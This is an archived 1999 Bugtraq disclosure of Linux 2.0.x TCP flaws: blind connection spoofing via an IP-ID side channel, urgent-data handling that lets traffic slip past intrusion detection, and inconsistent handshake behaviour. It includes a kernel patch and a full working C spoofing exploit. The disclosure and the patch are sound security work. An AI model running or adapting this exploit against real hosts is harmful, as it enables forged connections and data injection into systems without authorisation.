The OpenNET Project
 
Search (keywords):  SOFT ARTICLES TIPS & TRICKS SECURITY
LINKS NEWS MAN DOCUMENTATION


Linux blind TCP spoofing, act II + others


<< Previous INDEX Search src Set bookmark Go to bookmark Next >>
Date: Sun, 1 Aug 1999 01:10:06 +0200
From: Nergal <nergal@ICM.EDU.PL>
To: BUGTRAQ@SECURITYFOCUS.COM
Subject: Linux blind TCP spoofing, act II + others

Hello,
Thanks to libnids development, some features/bugs in Linux kernel were found.
I notified kernel mantainers in May, but they didn't seem interested.

1. Blind TCP spoofing against 2.0.36/37
	Let's label a Linux server as A, an attacker's host as B, the spoofed
host as C. If the following conditions hold:

a) C is down (disabled)
b) A is idle; more precisely, during the attack A should not send any
   packets beside ones generated in response to the packets sent by B
c) during the attack, no packet sent from B to A can be dropped by a router

then an attacker can spoof a TCP stream connecting A and C.
	As we see, these conditions are not trivial. However, b) and c) can
hold if an attack is conducted during low network traffic period; and there
are ways to fulfill a) :)
	Firstly, let's have a look how Linux 2.0.x reacts to a non-typical
TCP segment sent as a third packet of a three way handshake. In the example
below we send to a Linux server (A) packets from B with source address set to
C.
Time        packets with forged source address    packets sent by the server
0             flags=S,seq=X
1                                              flags=SA,seq=Y,ack_seq=X+1
2             flags=A,seq=X+1, ack_seq=Y-1000
3                                                no packet generated !
4             flags=A,seq=X+1,ack_seq=Y+1000
5                                               flags=R,seq=Y+1000
                                                a packet IS generated !
6             flags=A,seq=X+1,ack_seq=Y+1
7                                               flags=A,seq=Y+1,ack_seq=X+1
                                         socket enters "established" state
8             flags=A,seq=X+1,ack_seq=Y+1000
9                                                no packet sent !

	So, when an attacker sends (as a third packet of tcp handshake) a
packet with too small ack_seq, the server sends no packets (doesn't it
violate RFC793 ?). When a packet with too big ack_seq is sent, the server
sends a packet (with a reset flag).
	Now let's recall another Linux feature. Many OSes (including Linux)
assign to ID field of an outgoing IP datagram consecutive, increasing
numbers (we forget about fragmentation here; irrelevant in this case). That
enables anyone to determine the number of packets sent by host A: it's enough
to ping it, note the value of ID field of received ICMP_REPLY packet, wait x
seconds (or perform some other actions), then again ping host A. The
difference between ID fields of received ICMP_REPLY packets is equal to (the
number of packets sent by A in x second) +1. "Idle portscan" by antirez uses
this technique.
	Having sent an initial TCP segment with SYN flag, our attack will
consist of a set of "probes". In each probe, we send a (forged) TCP packet
with flags=A and (arbitrary) ack_seq=X, then we send an ICMP_ECHO request, and
finally note the ID field of received ICMP_REPLY packet. If this ID field has
incremented by 1 since the last time, only one packet were sent by server
(ICMP_REPLY), so we must have chosen too small X (that is, ack_seq). If ID
field has incremented by 2, two packes were sent (TCP with reset flag and
ICMP_REPLY), so we must have chosen too big ack_seq. This way we can perform
a binary search in space of ack_seq's, determining exact ack_seq after at most
32 probes. Note that finding correct ack_seq can be verified by sending a
probe with previously found too big ack_seq; if connection is in "established"
state, no packet will be generated by server.
	After we have found the Holy Graal of blind spoofers, the correct
value of ack_seq, nothing will prevent us from completing 3whs and sending
arbitrary data.
	At the end of this post I enclosed an exploit; don't use it without
the permission of the target host's admin. I tested it on 2.0.37, 36 and 30;
probably all 2.0.x are affected. It requires libnet (which can be downloaded
from www.packetfactory.net). I compiled it on Linux glibc system. The
following simple patch (against 2.0.37) enforces sending a reset in response
to a packet with too small ack_seq (of course, only when we are in SYN_RECV
state). This patch also cures the bug described in point 3.

-------------------------CUT HERE--------------------------------------
--- linux-2.0.37/net/ipv4/tcp_input.c.orig	Fri Jul 23 17:25:14 1999
+++ linux/net/ipv4/tcp_input.c	Fri Jul 23 17:29:43 1999
@@ -2764,7 +2764,18 @@
 		kfree_skb(skb, FREE_READ);
 		return 0;
 	}
-	
+
+        if (sk->state==TCP_SYN_RECV && th->ack && skb->ack_seq!=sk->sent_seq)
+        {
+                /*
+                 *      Quick fix to detect too small ack_seq
+                 *      in 3rd packet of 3ws and force a RST segment.
+                 */
+                 tcp_send_reset(daddr, saddr, th,sk->prot, opt, dev,0,255);
+                 kfree_skb(skb, FREE_READ);
+                 return 0;
+        }
+                                                                                                                                                                    	
 rfc_step6:
 	/*
 	 *	If the accepted buffer put us over our queue size we
-------------------------CUT HERE--------------------------------------
	
2. A byte of urgent data can be received in normal data stream. Let's
consider the following scenario:
Time              Client app             Server app
0                                     bind(...), listen(...), accept(...)
1                 connect(...)
2                                     accept(...) returns newsock
3      send(sockfd,"AB",2,MSG_OOB)
4      send(sockfd,"XY",2,MSG_OOB)
5                                     n=read(newsock,buffer,1024)

function read returns 3, buffer contains "ABX", though byte 'B' was marked
as urgent. Verified with 2.0.37 and 2.2.9-ac1, probably all versions are
vulnerable. Note that this behaviour can be exploited to bypass NIDS.

3. Weird handling of 3rd stage of TCP handshake.

Time        packets sent by a client        packets sent by a server
0          flags=S,seq=X
1                                         flags=SA,seq=Y,ack_seq=X+1
2 flags=A,seq=X+1,ack_seq=Y-4,data="xyz"
3                                        flags=A,seq=Y+1,ack_seq=X+4
                                           no data is returned to app
4                                        flags=SA,seq=Y+1,ack_seq=X+4
5 flags=A,seq=X+1,ack_seq=Y+1,data="1234567"
6                                        flags=A,seq=Y+1,ack_seq=X+8
                                          app receives "4567"
which is inconsitent. Either the packet sent in time 2 should be discarded and
app should receive "1234567", or app should receive "xyz4567" .
Verified on 2.0.36, 2.2.x behaves correctly (sends reset in time 3).
Usually it is not a problem, but IDS developers can be worried.

Save yourself,
Nergal

/* by Nergal */

#include "libnet.h"
#include <netinet/ip.h>
#include <netdb.h>
int sock, icmp_sock;
int packid;
unsigned int target, target_port, spoofed, spoofed_port;
unsigned long myaddr;
int
get_id ()
{
  char buf[200];
  char buf2[200];
  int n;
  unsigned long addr;
  build_icmp_echo (ICMP_ECHO, 0, getpid (), 1, 0, 0, buf + IP_H);
  build_ip (ICMP_ECHO_H, 0, packid++, 0, 64, IPPROTO_ICMP, myaddr,
	    target, 0, 0, buf);
  do_checksum (buf, IPPROTO_ICMP, ICMP_ECHO_H);
  write_ip (sock, buf, IP_H + ICMP_ECHO_H);
  do
    {
      n = read (icmp_sock, buf2, 200);
      addr = ((struct iphdr *) buf2)->saddr;
    }
  while (addr != target);
  return ntohs (((struct iphdr *) buf2)->id);
}

  static int first_try;


int
is_bigger ()
{
  static unsigned short id = 0, tmp;
  usleep (10000);
  tmp = get_id ();
  if (tmp == id + 1)
    {
      id = tmp;
      return 0;
    }
  else if (tmp == id + 2)
    {
      id = tmp;
      return 1;
    }
  else
    {
      if (first_try)
	{
	  id = tmp;
	  first_try = 0;
	  return 0;
	}
      fprintf (stderr, "Unexpected IP id, diff=%i\n", tmp - id);
      exit (1);
    }
}

void
probe (unsigned int ack)
{
  char buf[200];
  usleep (10000);
  build_tcp (spoofed_port, target_port, 2, ack, 16, 32000, 0, 0, 0, buf + IP_H);
  build_ip (TCP_H, 0, packid++, 0, 64, IPPROTO_TCP, spoofed,
	    target, 0, 0, buf);
  do_checksum (buf, IPPROTO_TCP, TCP_H);
  write_ip (sock, buf, IP_H + TCP_H);
}

void
send_data (unsigned int ack, char *rant)
{
  char * buf=alloca(200+strlen(rant));
  build_tcp (spoofed_port, target_port, 2, ack, 16, 32000, 0, rant, strlen (rant), buf + IP_H);
  build_ip (TCP_H + strlen (rant), 0, packid++, 0, 64, IPPROTO_TCP, spoofed,
	    target, 0, 0, buf);
  do_checksum (buf, IPPROTO_TCP, TCP_H + strlen (rant));
  write_ip (sock, buf, IP_H + TCP_H + strlen (rant));
}

void
send_syn ()
{
  char buf[200];
  build_tcp (spoofed_port, target_port, 1, 0, 2, 32000, 0, 0, 0, buf + IP_H);
  build_ip (TCP_H, 0, packid++, 0, 64, IPPROTO_TCP, spoofed,
	    target, 0, 0, buf);
  do_checksum (buf, IPPROTO_TCP, TCP_H);
  write_ip (sock, buf, IP_H + TCP_H);
}

#define MESSAGE "Check out netstat on this host :)\n"


void
send_reset ()
{
  char buf[200];
  build_tcp (spoofed_port, target_port, 4 + strlen (MESSAGE), 0, 4, 32000, 0, 0, 0, buf + IP_H);
  build_ip (TCP_H, 0, packid++, 0, 64, IPPROTO_TCP, spoofed,
	    target, 0, 0, buf);
  do_checksum (buf, IPPROTO_TCP, TCP_H);
  write_ip (sock, buf, IP_H + TCP_H);
}


#define LOTS ((unsigned int)(1<<30))
main (int argc, char **argv)
{
  unsigned int seq_low = 0, seq_high = 0, seq_toohigh, seq_curr;
  int i;
  char myhost[100];
  struct hostent *ht;
  if (argc != 5)
    {
      printf ("usage:%s target_ip target_port spoofed_ip spofed_port\n", argv[0]);
      exit (1);
    }
  gethostname (myhost, 100);
  ht = gethostbyname (myhost);
  if (!ht)
    {
      printf ("Your system is screwed.\n");
      exit (1);
    }
  myaddr = *(unsigned long *) (ht->h_addr);
  target = inet_addr (argv[1]);
  target_port = atoi (argv[2]);
  spoofed = inet_addr (argv[3]);
  spoofed_port = atoi (argv[4]);
  sock = open_raw_sock (IPPROTO_RAW);
  icmp_sock = socket (AF_INET, SOCK_RAW, IPPROTO_ICMP);
  if (sock <= 0 || icmp_sock <= 0)
    {
      perror ("raw sockets");
      exit (1);
    }
  packid = getpid () * 256;
  fprintf(stderr,"Checking for IP id increments\n");
first_try=1;
  for (i = 0; i < 5; i++)
  {
    is_bigger ();
    sleep(1);
    fprintf(stderr,"#");
  }
  send_syn ();
  fprintf (stderr, "\nSyn sent, waiting 33 sec to get rid of resent SYN+ACK...");
  for (i = 0; i < 33; i++)
    {
      fprintf (stderr, "#");
      sleep (1);
    }
  fprintf (stderr, "\nack_seq accuracy:");
first_try=1;
  is_bigger();
  probe (LOTS);
  if (is_bigger ())
    seq_high = LOTS;
  else
    seq_low = LOTS;
  probe (2 * LOTS);
  if (is_bigger ())
    seq_high = 2 * LOTS;
  else
    seq_low = 2 * LOTS;
  probe (3 * LOTS);
  if (is_bigger ())
    seq_high = 3 * LOTS;
  else
    seq_low = 3 * LOTS;
  seq_toohigh = seq_high;
  if (seq_high == 0 || seq_low == 0)
    {
      fprintf (stderr, "Non-listening port or not 2.0.x machine\n");
      send_reset ();
      exit (0);
    }

  do
    {
      fprintf (stderr, "%i ", (unsigned int) (seq_high - seq_low));
      if (seq_high > seq_low)
	seq_curr = seq_high / 2 + seq_low / 2 + (seq_high % 2 + seq_low % 2) / 2;
      else
	seq_curr = seq_low + (unsigned int) (1 << 31) - (seq_low - seq_high) / 2;
      probe (seq_curr);
      if (is_bigger ())
	seq_high = seq_curr;
      else
	seq_low = seq_curr;
      probe (seq_toohigh);
      if (!is_bigger ())
	break;
//      getchar();
    }
  while ((unsigned int) (seq_high - seq_low) > 1);
  fprintf (stderr, "\nack_seq=%u, sending data...\n", seq_curr);
  send_data (seq_curr, MESSAGE);
  fprintf (stderr, "Press any key to send reset.\n");
  getchar ();
  send_reset ();

}

<< Previous INDEX Search src Set bookmark Go to bookmark Next >>



Партнёры:
PostgresPro
Inferno Solutions
Hosting by Hoster.ru
Хостинг:

Закладки на сайте
Проследить за страницей
Created 1996-2024 by Maxim Chirkov
Добавить, Поддержать, Вебмастеру